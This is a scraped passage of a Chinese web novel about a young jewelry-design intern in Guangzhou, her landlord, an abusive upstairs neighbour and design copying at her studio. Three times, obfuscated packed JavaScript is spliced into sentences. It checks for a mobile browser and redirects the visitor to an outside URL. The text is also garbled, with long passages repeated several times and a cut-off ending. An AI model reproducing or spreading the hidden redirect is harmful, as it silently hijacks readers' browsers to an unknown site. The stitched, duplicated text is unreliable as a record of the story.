林予星思维发散到这,已经想到小孩出生,人家估计得叫乡下老人来这带孩子,到时候一堆人混杂,肯定会有矛盾。
白天大人吵,小孩夜里吵,非得住得神经衰弱。
她觉得还是得搬,不然以后肯定闹心。
[X:我想好了,搬你楼上。谢谢房东。(双手合十.jpg)]
[JN:(嗯嗯.jpg)]
对话到此结束。
林予星点的肉蛋肠也在这时上桌。
嫩白肠粉皮像湿哒哒的毛巾般,皱巴巴地躺在不锈钢长椭圆碗中,鸡蛋蛋液随机分布,像极野猫背上的花色,左大块,右小块。她抽出一次性筷子将它拦腰夹断,积攒在其中的热气顿时冒出,鲜嫩肉片藏不住,露出半片搭在碗底,泛着微微粉色。
酱油淋下,肠粉皮染上咸乎乎的深红棕色。夹起粉皮蘸点,送进嘴里,烫得林予星立时张嘴呼气。
当热气散去,鲜咸弥漫,逐渐占满味觉。
她低头慢慢吃着,很快将大半碗肠粉吃完。
可吃到最后,毕竟吃了这么多年,不免感到腻味。
起身离开时,她将一次性筷子丢进垃圾桶,不锈钢长碟已经空空。
店外老板仍旧裹着深色围裙,挥舞刮刀,动作娴熟地将下一份肠粉堆在碟中,一碗接一碗,排队人群不断缩短,流水线般开启新的一天。
原路返回,正好十点。
工作室依旧没开门,但从路尽头匆匆赶来一个陌生的矮个女孩。
她穿着淡色T恤长裤,戴着棒球帽,长发及腰,鹅蛋脸上一双杏仁眼亮亮的。
本以为是路人,可那女孩越走越近,走动间,手腕上的银镯子和玛瑙镯敲击,发出悦耳清脆的响动。闷热潮湿的风吹来,卷着她手上的咖啡味,若有似无吹向林予星。
像洋甘菊一样……
小小的,精致,清新。
矮个女孩也在看林予星,正纳闷一大早怎么会有这样好看的女孩站在工作室门外,忽然想起昨夜老板发的信息她还没看。
从包里掏出手机,扫了眼后,她迟疑地喊了声:"你是……林予星吗?"
突然被喊出名字,林予星愣了愣,点头说:"嗯,我是,你是……?"
"噢噢,我是这的员工,老板说让我先带着你熟悉熟悉。"她边说边去掏工作室钥匙,"昨天加班晚了些,今天迟到了,你等很久了吧?不好意思啊。"
"没有等多久。"林予星看她手忙脚乱,深棕咖啡从管口溅出,忍不住道,"咖啡……要帮你拿一下吗?"
"啊,这个啊,有点烫,不用。"女孩随手把咖啡放在一旁消防栓上,又找了会,才找到钥匙,她边开门边说,"我叫周栗,等会我拿几个简单的货你看看能不能上手。"
林予星点头:"嗯,好。"
工作室玻璃门把手上的大号红色U型锁周栗鼓捣了会才摘下来,看锈迹应该是用了很多年了。
大门打开,里面从门口开始就铺了灰色地毯,左边两张长桌合并,没有格挡,随意摆放着些手绘用到的杂物。
还有一张长桌横放在两张长桌和另一扇门前,三台电脑下,黑色电线凌乱地插在插座里,有食物碎渣在那些座位下,林予星眼尖地发现有只尾指指甲盖大小的黑蟑螂窜过。
林予星跟着周栗走进去,闻到工作室内散发着股潮湿的怪味。
她看到右边锁住的会客室里,棕色软沙发上丢着几本芭莎珠宝,茶几摆着茶盘,杯子里还有昨夜剩下的茶水,旁边烟灰缸插满了烟屁股,像刺猬团成球那样往四周炸开。
周栗放下背包,指了指角落的位置:"你去那坐吧,我看你应该比较喜欢安静。你有带工具吗?"
"有的。"林予星走过去,从帆布包里拿出个红边透明文件袋。
那是她刚毕业时就用到的珠宝绘图工具。
周栗点点头:"好,你等会啊。要是渴了饮水机在那,杯子在底下。"
她指了指方向,又拿起那串钥匙去会客室开锁。
一米六的深灰色保险箱,周栗站在它面前都矮了几寸。
"滴滴"六声按键声响起。
紧接着是机械旋转动静。
等了会,周栗才从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492793|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保险柜拿出个大大的保鲜盒,里面放着小包塑料袋。
林予星刚刚肠粉吃得有点口干,盛了杯水走回来,周栗已经走到她身边。
"你以前画过什么呢?彩宝,珍珠,翡翠?"
毕业后林予星并未按部就班选择继续珠宝设计,家里母亲出了点事,她被迫留在镇上当文员,不然也不会遇到罗森。
现在重操旧业,林予星其实跟实习生没有区别。
听到周栗问起,她有些窘迫:"我之前在番区跟着我老师画的最多的是钻石、彩宝,其他的没接触……"
周栗见问不出什么,干脆说:"你有画过什么吗?我看看。"
林予星便从文件袋里抽出一叠纸给周栗看,她开始后悔怎么没擦擦上边的薄灰,万一人家看出她中间有空白期怎么办?
好在周栗并不在意,只是说:"你这个画的比较偏商业,就是比较适合周生记这些大公司,怎么会想来搞定制?"
"我老师说,我适合做定制……"
"能看出来想法挺多,没事,我们试试吧。这管理比较松散,你不用这么紧张,实习而已,学到东西就好啦,我也会帮你的。"周栗笑笑,缓和气氛说,"那我给你一个蓝宝石吊坠吧,你先画着。有什么问题随时问我。"
林予星僵硬着扯出笑,说了声好。
怎么会没关系,她生存压力有点大啊……
刚刚看到林予星画稿是用的马克笔上色,周栗顺手就把自己桌上没什么人用的马克笔放到她面前,然后自顾自忙去了。
时间一分一秒过去,外边依旧没什么太阳,气温却升高了。
手机显示,今天最高温度将会达到二十七度。
工作室两人却没怎么感到热。
她们位于商场旁的巷子,阳光无法直晒,室内温度还算正常。
林予星拿起笔,先用直尺画了个十字线。
放在真空袋里的蓝宝石是皇家蓝,微微发暗,比指甲盖大不了多少的小东西价格却可能是她一年的工资。
绿色模板尺根据尺寸丈量,挨个比对后挑选出了8*5的尺寸,针笔在洞口转了一圈,留下九个一模一样的椭圆。
将九个圆分成三排。
一排市场货风格。
一排欧美风设计。
一排自己喜欢的风格。
林予星拿起阔别已久的生疏画笔,慢慢在白纸上勾出各种线条。
笔尖摩擦纸张的动静,桌上鹅黄闹钟走钟声滴答作响。
铅笔划动停顿,橡皮擦擦出灰色细碎的泥,模板长尺轮番使用,流逝的时光在白纸上呈现。
画到一半时,有人影从工作室外晃进来,叼着烟,穿着拖鞋踩在地毯上,无声无息朝二人走来。
周栗听到动静抬头去看,发现男人已经走到林予星身边。
他没有说话,只是看着,直到第二个白胖男人走入。
林予星专心画着没有发现。
直到听到背后忽然响起陌生粤语。
"学校教出来画的东西就是落后。"
林予星一愣,回头去看,看到了唇色发黑的男人叼着烟,俯视她的画稿,那双审视的眼睛从纸上落到林予星脸上,带着居高临下的打量。
外头天色暗下后,屋内白炽灯逐渐感到刺眼。
三张稿子,二十七个款式尽数被毙。
人挤人的地铁没有空座。
帆布包里,手机震动。
[JN:今晚饭搭子有空吗?]
7.湿炒牛河
[新款珠宝设计]
[最新款设计元素]
[定制类珠宝]
……
昏暗安静的单间出租屋,唯有一团四四方方发散的光亮着,照亮疲惫苍白的脸。手机屏幕发出的光映在眼底,像两块色彩斑斓的冰块沉在鸡尾酒杯内,晃晃悠悠,茫然而迷醉。
林予星看着看着,不知不觉在单人小沙发上睡着。
手机上宝格丽珠宝手稿图片慢慢黯淡,最后"哒"的一声细响,锁屏了。
屋子外下起小雨,细密雨点打在铝合金雨棚上,呲呲啦啦像小火慢煎的动静。
楼下放学下班的人群发出仓惶避雨的声音似被雨水淹没,渐渐只剩下雨声。
时间一点一滴过去,饭点过去后厨房灯光陆续暗下,似在宣告一天的结束。
半梦半醒间,依稀闻到隔壁飘来的泡面味道。
林予星没有吃晚饭,醒了一瞬依旧是困得不行,觉着有些冷,翻了个身,把冷的那面身体塞入熨暖的沙发皮中,闭眼继续睡。
手机震动,跳出信息。
[JN:你在加班吗?]
刚暗下,第二条信息接踵而至,却是换了个人。
[李芷琳:予星,周末要来吃个饭吗?我听说你到广城了,我在佛城这边,你现在住在哪呀?]
接二连三的消息震得沙发微微抖动,蜷缩在沙发上的人还在熟睡。
直至整栋楼仅剩三分之一的灯光亮着,断断续续又灭了好几团亮色。
雨后冷风吹入,将缭绕困意吹散了些。
林予星迷迷糊糊睁开眼,听到靠窗口的位置上方传来争吵声,从入门开始越来越响。
突然,"砰当"巨响。
她吓得转头去看,只见有个白乎乎的东西砸在窗边,直直往下掉。
林予星立刻清醒了,稍稍探头出去看,她近视看不大清,又折返回去拿眼镜。
底下水泥路被雨淋得发黑,有只成年人巴掌大的嫩黄活物像块胶带般沾在地上,不断有暗红晕出,在深夜中开出一朵歪歪斜斜的红花,逐渐扭曲成不规则的血疤。
与此同时,头顶说话声带着女人啜泣声隐隐传来。
"天天在家没事干,就做个饭你也不好好做!怀孕怎么了?谁没怀过孕!"
"你怎么可以把它丢下去!我就这么点爱好了你怎么可以这样?!"
"养它有什么用!就是个畜生,每个月还要多支出五十多块钱给它买东西,我天天在外面上班,一天才一百五十块,大部分都给你用完了!死败家!"
"我没有浪费钱!每个月我都有记账……"
"记个屁你记,全给你那只畜生花了,老子不用人情往来不用抽烟啊!"
……
林予星眯眼看了半晌,结合楼上两人对话,终于认出底下那是个什么东西。
——是只金丝熊。
它最后抽搐两下后彻底不动了,如同被抽干净棉花的布偶,瘪瘪地瘫成一块鼠片。
林予星望向楼上,有铝合金片遮挡,她只能看到边缘有不易觉察的血水正在往下滴。她心里慢慢升起一丝愤怒,正要说些什么,楼下骤然出现另一道鹅黄色影子。
"汪汪!汪!"狗叫声传来,似是发现了那只刚死去的金丝熊。
“是房东!”女人慌里慌张的哭声传下来。
“哭什么哭,家里福气给你哭没了,就一只老鼠而已,你不说谁会发现是我们扔的!”
男人说完,脚步声重重地从窗边又走回室内。
林予星只能听到些不明不白的细微响声。
应该是在收拾养仓鼠的东西。
楼下,那只精力旺盛的比格旺旺叫着不断往前冲,身上穿着黄色雨衣,如果没有牵引绳,怕是就要奔过去舔一口了。
在它背后,纯白电动车被它拽地几乎快挨到地上。
黎嘉年一手抓车一手拽狗,白色雨衣下受伤的脚死死撑在地上,狼狈地让林予星暂时忘记刚刚发生的事,莫名笑了下。
“别西卜!停下!不许吃屎!”黎嘉年快崩溃了,见车狗两难全,只能暂时先放弃电动车,用力把狗拽回来。
楼上,林予星听到那只狗叫别西卜,又想到黎嘉年刚刚那句不许吃屎,忍不住笑出声。
还是第一次觉得狗如其名。
她看到底下水面映出昏黄路灯,狗爪踩过那片发光的圆金箔,泛起涟漪,不等漾开,紧跟着被双白色拖鞋踩碎,大水蚁尸体点缀在上边,像金箔破开的缺口。
黎嘉年刚刚没看清楚,走近才发现别西卜发现的是什么。
正巧有大水蚁落在耳边发梢,他急忙伸手拍去,下意识抬头往上看。
广东雨后路灯周围常常围绕大量飞蚁,今年也不例外。
密密麻麻的灰黑色不断往路灯上撞,时不时有翅膀掉下,黎嘉年也不在意。
在这处昏暗中,他看到了三楼探出脑袋的林予星。
她像是刚睡醒,长发凌乱,戴着副黑框眼镜,嘴边幸灾乐祸的笑还未散去。苍白的皮肤即使在夜里也异常惹眼,犹如半开不开的昙花半趴在窗口,长指如尖细瓣叶,托着最漂亮的那朵花苞。
黎嘉年没有说话,将即将伸出舌头的比格再次拽回。
他无声地指了指那只金丝熊尸体,又在半空中画了个问号。
林予星接收到信号,指了指楼上。
又是他们……
黎嘉年点点头,拿出手机晃了晃。
她却会错意,微微皱眉,在半空中用手臂比了个叉。
“……”黎嘉年摇摇头,干脆打开微信界面,给她发了个消息。
[JN:我的意思是下来说,吃不吃夜宵?我请。当作是你举报有功。]
沙发上手机震动,林予星这才明白过来他什么意思,从窗口退开后解锁去看他发了什么。
聊天界面显示他给自己发了两条信息。
林予星看了看,回道:[回来太累就睡了,没看到。夜宵免费的话那就走吧。]
[JN:答应的这么快,你不会没吃晚饭?]
[X:(旺柴拉二胡.jpg)]
[JN:等我让阿姨来接个狗,再去放电动车,等我十五分钟。]
[X:OK!]
放下手机,林予星想起自己回来光看图找感觉,好扭转工作室那位设计总监华哥对自己的印象,结果睡到澡都没洗。
扫了眼时间,已是晚上十一点。
她立刻去衣柜拿了短袖背心,钻进浴室,用最快的速度洗完,将衣服丢进洗衣机。
头发吹到一半,手机再次震动。
[JN:走。]
林予星随意回了个表情包就下楼。
可她没想到,锁上门疾步走到楼梯口时会遇到楼上那个男人。
他提着袋黑色垃圾,也没料到会在这时候跟她撞上,那双浑浊的眼中再次流露出令人感到恶心的目光。
“美女优先。”他流里流气地笑着让开路,顺带看了眼这层楼尽头。
“叮叮哒哒——”
刚锁上的锁头还在门上晃荡,暴露了她的具体住处。
男人想起什么,脸色顿时有点不自然。
不等他再说话,林予星已经从他面前经过,像只矫捷的白羚羊躲过,径自下了楼梯。
“喂,靓女……”男人在后面追,因着有些胖,又挺着大肚腩,行动没有她灵敏,导致落下一大截。
地板湿滑,男人追得太急,差点摔倒。
林予星头都没回一下,只在楼道里留下潮湿的沐浴露味道。
外边已经不下雨,地面依旧湿淋。
两侧楼屋已熄灭大半,楼道灯一路亮起,在外边看像叠千纸鹤用的渐变方纸,亮面与阴影构出同色系色块。
林予星蹦着跳着,以两个台阶为一组快速下楼,昏暗中脸色明显带着几分慌张。
黎嘉年走前几步,正要伸手去扶她,就看到她身后追地气喘吁吁的男人,默默收回了手。
“杰哥。”他故意出声,“这么晚,还跑这么快,忙着丢仓鼠笼子?”
男人听到他这么问,忙站定在楼道里,手上提着的垃圾袋下意识往后藏,浑浊的眼睛带着几分怀疑,落在他背后的林予星身上。
林予星没有跟他对视,只说了句:“走吧。”
“你先去小区门口等我。”黎嘉年回头说了句,然后慢慢走到路灯下,盯着肥胖男人,懒散的神情微微变得有点冷,“杰哥,说过多少次,不要一跟老婆吵架就乱丢东西,上次高空抛物砸烂人家阿婆脚趾赔了两千的事你忘了?”
“不、不是我家的。”那被叫作杰哥的男人狡辩,“我家也没养仓鼠,你也知道我老婆怀孕了,我家穷,比不得你这包租公有钱,养不起老鼠。”
“你上次打你老婆,去花鸟鱼虫市场买仓鼠回去哄你老婆的时候,肥仔强有跟我说。”黎嘉年直接戳破他的谎言,末了,语气稍稍和缓,“你老婆怀孕不容易,从你生意失败陪你到现在,对她好点吧。”
杰哥看到林予星那双眼睛望过来,顿时感觉没了面子,不耐烦道:“说了不是我家的,烦死了,是不是她跟你说的!你哪只眼睛看到是我丢下来的?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538289|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那时我在打机,声音大了些而已,不能就说是我丢的吧?!”
他越说越大声,林予星眼神也越来越鄙夷。
这种好面子又没本事的男人她二十多年来见得太多,以至于看到他们的相似的面相就觉得反胃。
黎嘉年挡在她面前,直接说:“你楼上肥仔强告诉我的。”
杰哥立马收声不说话,捏着垃圾袋憋了半晌才来一句:“那你要我怎么样嘛,夫妻之间吵吵闹闹不是很正常吗?那只老鼠自己从笼子里跑出来,没抓稳掉下去,又没砸到人,你至于大晚上堵在这?房东了不起啊,我丢个垃圾你还拦着?”
黎嘉年懒得跟他废话:“去收拾干净,不然我下个月涨租。”
说完这一句,他朝林予星使了个眼色,她迅速跟上,和他一起离开小区。
二人影子被路灯拉长,杰哥气得撕开垃圾袋,将里面仓鼠笼子掏出重重摔砸在地。他瞪着黎嘉年背影想骂又不敢骂,目光移向林予星,心想这死女人绝对也掺合进来了,真是多嘴多舌,刚来就勾搭上房东,不干不净的。
想到黎嘉年刚才那句下个月涨租,杰哥望向仓鼠尸体,一脚把它踢飞,冷静下来后又迫于现实,只能心不甘情不愿去工具房拿扫把处理。
两行脚印一前一后走出小区。
保安亭内在玩手机的保安打了声招呼便给两人放行。
伸缩闸门关上。
街上不做宵夜的店铺关了大半。
黎嘉年扫了她一眼,又用眼角余光去看。
“有话要跟我说?”林予星奇怪看他。
他否认:“没有。”随即又问,“想吃什么?”
“吃什么都行,我不挑。”
“煲仔饭、炒牛河、啫啫煲、艇仔粥、紫苏炒田螺……”
饿了一晚上没吃的林予星听到他报菜名,默默咽了咽口水。
肚子不争气地咕噜噜叫起来。
黎嘉年笑了笑,带她去附近的大排档。
等到猛火爆炒装盘,一盘湿炒牛河率先上桌。
青色芥蓝、勾芡嫩棕牛肉,湿黄河粉,三种颜色交织,盛了满满一盘,流下的汁水微微冒泡,散发着薄热雾气。
林予星很懂事地替黎嘉年啷碗,顺带给他夹了大半碗牛河,放到他面前。
“这么客气干什么。”黎嘉年边说,边起身也给她夹了一碗,“扯平,动筷子吧。刚好我也饿了。”
林予星点点头,拿起筷子慢慢卷着吃。
小时候爸妈没教,长大后即使知道正确用法她也依然不太会用。
黎嘉年看她夹起牛河放在勺子里,吃相斯文的模样其实有些心酸。
她的经历并不太好,甚至是艰难,这种程度的吃相是从小规训的痕迹,现在好不容易出了社会,结果前路艰辛。
坐在他对面的林予星并不知道他怎么想,自顾自吃着。
芥蓝微微泛苦的口感正好融合进牛肉的鲜甜,配上软糯河粉,熨烫着空荡的胃,一切都是刚刚好。
初来乍到的惊慌与饥寒皆被抚平,她忍不住喟叹道:“好吃。”
黎嘉年想了想,问道:“你今年第一天去的那家公司怎么样?”
林予星没有多想,直白道:“环境很差,但能学到东西。”
“合同签了吗?社保呢?”
她笑了声:“八百底薪,两百补贴,不包吃住。他们会客厅很多烟头,东西也乱七八糟放着,就是初创的小工作室,后期应该是经常加班。我这种实习生就先学着吧。”
今年最低工资标准是一千五,小时工十五块。
她进的珠宝行业,奢侈品类,怎么会这么低?
话到嘴边,黎嘉年犹豫再三还是决定不说了,话锋一转,叮嘱道:“你这两天要是住的不顺就随时跟我说,下个月搬到我那栋楼上。”
“行啊,我们不是早说好了?”林予星没太放心上,拿起手机回复闺蜜李芷琳的信息。
“我是说……”黎嘉年不太放心,“杰哥那个人爱面子,可能会找你麻烦。”
“你不是推给肥仔强了吗?”她奇怪地看他,“那个人是谁?”
“散打教练。总之,你保护好自己。”
“放心吧,我看出来他是怎样的人了。”林予星放下手机,“我也不是好揉捏的柿子。”
不仅不是柿子,还是地雷。
黎嘉年曾听黎欣说过林予星装着乖巧,但从小脾气爆,初中上学时追着露.阴癖丢石头,砸得人家脑震荡。
诸如此类,不胜枚举。
黎嘉年担心她冲动行事,要是毁了她自己怎么办?
8.盐焗手撕鸡
第二天林予星收拾好心情再去工作,发现工作室门早早开了。
周栗迟到了快十分钟才到,看到会客室里的才哥没有说话。
两人目光在半空中交汇,周栗仿佛习以为常,压低声音道:"等我会。"
林予星点头,看着她放下单肩包,走向会客室。
"哒哒。"
手指骨节敲打在透明玻璃门上。
"才哥,我进来咯。"周栗说着,缓缓拉开门。
里面关着的烟味争先恐后涌出,烟灰缸里扎得像刺猬团起的烟屁股被倒掉了,在她们不在的时候又悄然丢进去四五根。有一根抽到半途便直直摁在那,像根比萨斜塔,扎进满是灰烬的泥地。
棕色沙发上,躺着不动的男人转过身看了她一眼,哑声说:"今天先把那个胡姐的珍珠画了,催得要死。"
"好。"周栗打开保险柜门,拿出里面的保鲜盒。
她看了看外面的林予星,多问了句,"那我让予星继续画蓝宝石了?"
"给她换个别的,巴洛克、蓝珀、欧泊,那些随形的,每天都给她换一换。"
周栗点头:"嗯嗯,好的。"
说完,她捧着保鲜盒出来,走到林予星身边打开。
在里面才待不到一会,烟味已经染上周栗衣裙,几乎把她身上的洗衣粉味盖过去。
林予星偷偷扫了眼会客厅里的才哥。
他已经从沙发上爬起来,拿起那根抽到一半被摁灭的烟,点燃后怼进乌唇里。
凌乱的发下那双眼睛淡漠翻看芭莎珠宝杂志上的款式,边看边折角。
她收回目光,选了个蓝珀。
这枚小小的蓝珀里封着个小小的蜘蛛,圆润的腹部和八条腿上的绒毛都清晰可见。
转动间,珀体总有一抹幽蓝光闪过,到了暗处便愈发明显。
她将它按在打满十字定位线的纸上,勾勒出外形。
时针慢慢指向十二点。
工作室内只剩会客厅打电话的动静。
隔壁外卖店正在做饭,传来浓郁饭菜香。
林予星没有吃早饭,闻到香味那刻开始饿了。
正想着中午去吃点什么,才哥打完电话,起身出了会客厅。
他先去周栗那转了一圈,将画好的珍珠设计图发给客户,然后慢慢悠悠来到林予星背后。
烟味涌来,充斥鼻息。
混着股说不清道不明的苦臭。
林予星有些紧张起来,停笔望向他。
男人视线自上而下,布满血丝的眼睛略显浑浊,他看了看她的脸,又看了看设计图,用食指和中指夹着烟伏低身体靠近她。
“你真的学过美术吗?线条怎么这么硬?”说完,他拿过她手里的笔,草草勾勒了个大体轮廓,丢下一个字,“改。”
林予星应了声好,低头默默改动。
在他们身后,周栗隐晦的目光扫过。
直到桌上闹钟指向十二点。
周栗才拍了拍她,示意一起去买饭。
四周吃的就是那些快餐,隔壁离得近,干脆去那。
一份快餐,两素一荤十块钱,其实不算贵,但林予星还是心疼了下。
要是自己带饭买饭,生活成本应是能压缩到五块钱左右。
她点着菜,决定稳定下来后去买个几十块钱的电饭煲,总归不饿死就好。
白菜与酸菜装进塑料盒,又打了一勺手撕鸡。
两人干脆就在这家小店里吃。
周栗是个事事周到体贴的人,温和地打开话题,与她聊起日常。
“我发现你画造型创意类的多诶,可以试着思维再打开些,我等会给你看看我的设计稿找找感觉。”
“好,谢谢啊……”林予星不大擅长陌生人的善意,有些尴尬,又有些不好意思。
“没事,不过……”周栗想再说点什么,又觉得现在说有些杞人忧天,干脆换了话题,“你尽量呆久些,这还是能学到东西的。”
林予星点头:“我会的。”
说完,她吃下一口盐焗手撕鸡。
咸滑鸡胸肉配着米饭塞入口中,鸡皮滑嫩软弹,米饭就算是陈米也挡不住的好吃。估计真是饿了,两人吃饭速度相当,直至五分饱才将速度慢下来。
混着香菜的鸡肉一口,再来一口米饭,不知不觉吃完大半。
鸡肉里,散落的几颗咸花生还裹着未融化的盐粒,又脆又香。
当放下筷子时,两人面前不锈钢餐盘已经干干净净。
周栗擦干净嘴,问她:“走吧,睡会?下午继续。还是你想在附近走走?”
“睡会吧,我怕下午犯困。”林予星自知自己是低精力的人,做不到中午不午睡,下午还能精神百倍。
“好,那我们回去吧。”周栗说着,拿上手机与她一起回工作室。
灰扑扑的会客厅内,才哥叫了外卖,低头吃着。
见到她们回来,随手将一张画稿递给周栗:“画个线稿,上个色,发给胡姐。”
“好。”周栗接过,看样子是要放弃午休继续画图。
林予星故意走慢些看了眼,只见那张画稿上的蓝宝石吊坠和沙发上摊开的芭莎珠宝杂志页面的祖母绿戒指有七八成相似。
她忽然有种吃了苍蝇般的恶心感。
咽不下去又吐不出来。
周栗无奈看她,小声说:“你去休息吧。”
总要有人干这种事,上面吩咐下来的她们这群实习生能做什么?
尤其是在这珠宝行业,改款抄袭成风,无人追究,这事成了人尽皆知的默许。甚至在她们就读的珠宝设计专业中还有限时改款一百个的作业。
没有身份没有钱,掀桌子的事总归是电视上才有的热血情节。
她们也只能忍让,直至跟随这行一起溃烂、覆灭。
周栗回工位去忙了。
橡皮擦揉在纸张上的动静很轻,连落笔也很轻。
林予星趴在桌子上休息,原以为会睡不着,结果食困一上来便什么都想不了,静悄悄没入梦境。
直到手机闹钟震动,她迷迷糊糊醒来,抓过一旁设计图继续工作。
结果还是——
“不行。”
九个改款,尽数被毙。
连着两日的努力都成了笑话。
地铁晃晃悠悠将人带回住处,从下站到居住地点,十五分钟的路程不断拉长。
今天上班时下了场雨,地面潮湿。
大水蚁散去后,非洲大蜗牛登场。
路旁草丛冒出不少蠕动的黑影,伸着两只触角到处探查。
路上没多少人,林予星瞅准一只体型较大的蜗牛后,像儿时那样踢着玩。从单行路提到十字路口,不远处车灯闪烁,她下意识停住,那只被她踢到路中间的蜗牛顿时发出碎裂声。
“啪夸——”
清脆的像摔破瓦罐。
车轮卷着压碎的蜗牛尸体驶远,它混着硬壳成了一滩烂肉。
林予星漠然移开视线,去趁着对面绿灯亮起,走过冷清马路。
饭搭子黎嘉年在她下班时照例发来邀请,这次她拒绝了。
路过商店时,她买了一桶三块钱的泡面,撕开包装跟人要了热水后就坐在外面半干不湿的石凳上随意解决一顿。
鲜虾鱼板面吃到最后有点反胃,她忍着恶心将泡面汤喝完,收拾干净后丢进垃圾桶。
一路走走停停踢着蜗牛回到小区。
恰好看到黎嘉年约了其他租客往外走,他脚上已经拆了纱布,正常穿着运动鞋。卷起的裤腿下脚踝瘦削,贴着无菌敷贴,缓缓往外走。
———正修改,明天贴上
新款珠宝设计]
[最新款设计元素]
[定制类珠宝]
……
昏暗安静的单间出租屋,唯有一团四四方方发散的光亮着,照亮疲惫苍白的脸。手机屏幕发出的光映在眼底,像两块色彩斑斓的冰块沉在鸡尾酒杯内,晃晃悠悠,茫然而迷醉。
林予星看着看着,不知不觉在单人小沙发上睡着。
手机上宝格丽珠宝手稿图片慢慢黯淡,最后"哒"的一声细响,锁屏了。
屋子外下起小雨,细密雨点打在铝合金雨棚上,呲呲啦啦像小火慢煎的动静。
楼下放学下班的人群发出仓惶避雨的声音似被雨水淹没,渐渐只剩下雨声。
时间一点一滴过去,饭点过去后厨房灯光陆续暗下,似在宣告一天的结束。
半梦半醒间,依稀闻到隔壁飘来的泡面味道。
林予星没有吃晚饭,醒了一瞬依旧是困得不行,觉着有些冷,翻了个身,把冷的那面身体塞入熨暖的沙发皮中,闭眼继续睡。
手机震动,跳出信息。
[JN:你在加班吗?]
刚暗下,第二条信息接踵而至,却是换了个人。
[李芷琳:予星,周末要来吃个饭吗?我听说你到广城了,我在佛城这边,你现在住在哪呀?]
接二连三的消息震得沙发微微抖动,蜷缩在沙发上的人还在熟睡。
直至整栋楼仅剩三分之一的灯光亮着,断断续续又灭了好几团亮色。
雨后冷风吹入,将缭绕困意吹散了些。
林予星迷迷糊糊睁开眼,听到靠窗口的位置上方传来争吵声,从入门开始越来越响。
突然,"砰当"巨响。
她吓得转头去看,只见有个白乎乎的东西砸在窗边,直直往下掉。
林予星立刻清醒了,稍稍探头出去看,她近视看不大清,又折返回去拿眼镜。
底下水泥路被雨淋得发黑,有只成年人巴掌大的嫩黄活物像块胶带般沾在地上,不断有暗红晕出,在深夜中开出一朵歪歪斜斜的红花,逐渐扭曲成不规则的血疤。
与此同时,头顶说话声带着女人啜泣声隐隐传来。
"天天在家没事干,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622835|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就做个饭你也不好好做!怀孕怎么了?谁没怀过孕!"
"你怎么可以把它丢下去!我就这么点爱好了你怎么可以这样?!"
"养它有什么用!就是个畜生,每个月还要多支出五十多块钱给它买东西,我天天在外面上班,一天才一百五十块,大部分都给你用完了!死败家!新款珠宝设计]
[最新款设计元素]
[定制类珠宝]
……
昏暗安静的单间出租屋,唯有一团四四方方发散的光亮着,照亮疲惫苍白的脸。手机屏幕发出的光映在眼底,像两块色彩斑斓的冰块沉在鸡尾酒杯内,晃晃悠悠,茫然而迷醉。
林予星看着看着,不知不觉在单人小沙发上睡着。
手机上宝格丽珠宝手稿图片慢慢黯淡,最后"哒"的一声细响,锁屏了。
屋子外下起小雨,细密雨点打在铝合金雨棚上,呲呲啦啦像小火慢煎的动静。
楼下放学下班的人群发出仓惶避雨的声音似被雨水淹没,渐渐只剩下雨声。
时间一点一滴过去,饭点过去后厨房灯光陆续暗下,似在宣告一天的结束。
半梦半醒间,依稀闻到隔壁飘来的泡面味道。
林予星没有吃晚饭,醒了一瞬依旧是困得不行,觉着有些冷,翻了个身,把冷的那面身体塞入熨暖的沙发皮中,闭眼继续睡。
手机震动,跳出信息。
[JN:你在加班吗?]
刚暗下,第二条信息接踵而至,却是换了个人。
[李芷琳:予星,周末要来吃个饭吗?我听说你到广城了,我在佛城这边,你现在住在哪呀?]
接二连三的消息震得沙发微微抖动,蜷缩在沙发上的人还在熟睡。
直至整栋楼仅剩三分之一的灯光亮着,断断续续又灭了好几团亮色。
雨后冷风吹入,将缭绕困意吹散了些。
林予星迷迷糊糊睁开眼,听到靠窗口的位置上方传来争吵声,从入门开始越来越响。
突然,"砰当"巨响。
她吓得转头去看,只见有个白乎乎的东西砸在窗边,直直往下掉。
林予星立刻清醒了,稍稍探头出去看,她近视看不大清,又折返回去拿眼镜。
底下水泥路被雨淋得发黑,有只成年人巴掌大的嫩黄活物像块胶带般沾在地上,不断有暗红晕出,在深夜中开出一朵歪歪斜斜的红花,逐渐扭曲成不规则的血疤。
与此同时,头顶说话声带着女人啜泣声隐隐传来。
"天天在家没事干,就做个饭你也不好好做!怀孕怎么了?谁没怀过孕!"
"你怎么可以把它丢下去!我就这么点爱好了你怎么可以这样?!"
